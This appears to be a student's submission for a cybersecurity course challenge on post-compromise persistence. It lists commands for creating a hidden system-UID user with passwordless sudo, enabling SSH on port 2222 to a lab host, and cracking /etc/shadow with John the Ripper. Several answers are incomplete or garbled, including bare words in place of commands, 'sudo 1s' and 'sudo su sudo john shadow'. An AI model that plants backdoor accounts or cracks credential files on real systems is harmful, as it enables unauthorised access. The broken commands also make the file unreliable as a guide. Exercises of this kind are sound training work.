# Module 6 Challenge Submission File

## **Advanced Bash: Owning the System**

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

#### **Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

sysd

2. Give your secret user a password.

password

3. Give your secret user a system UID < 1000.

sudo usermod -u 100 sysd

4. Give your secret user the same GID.

sudo groupmod -g 100 sysd

5. Give your secret user full sudo access without the need for a password.

sudo usermod -aG sudo sysd

6. Test that sudo access works without your password.

sudo 1s

### **Step 2: Smooth Sailing**

1. Edit the sshd\_config file.

cd /etc/ssh/
nano sshd\_config

#### **Step 3: Testing Your Configuration Update**

1. Restart the SSH service.

sudo systemctl restart sshd

2. Exit the root account.

Type "exit"

3. SSH to the target machine using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

4. Use sudo to switch to the root user.

sudo -s

# **Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222.

John the ripper /etc/shadow

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

sudo su sudo john shadow

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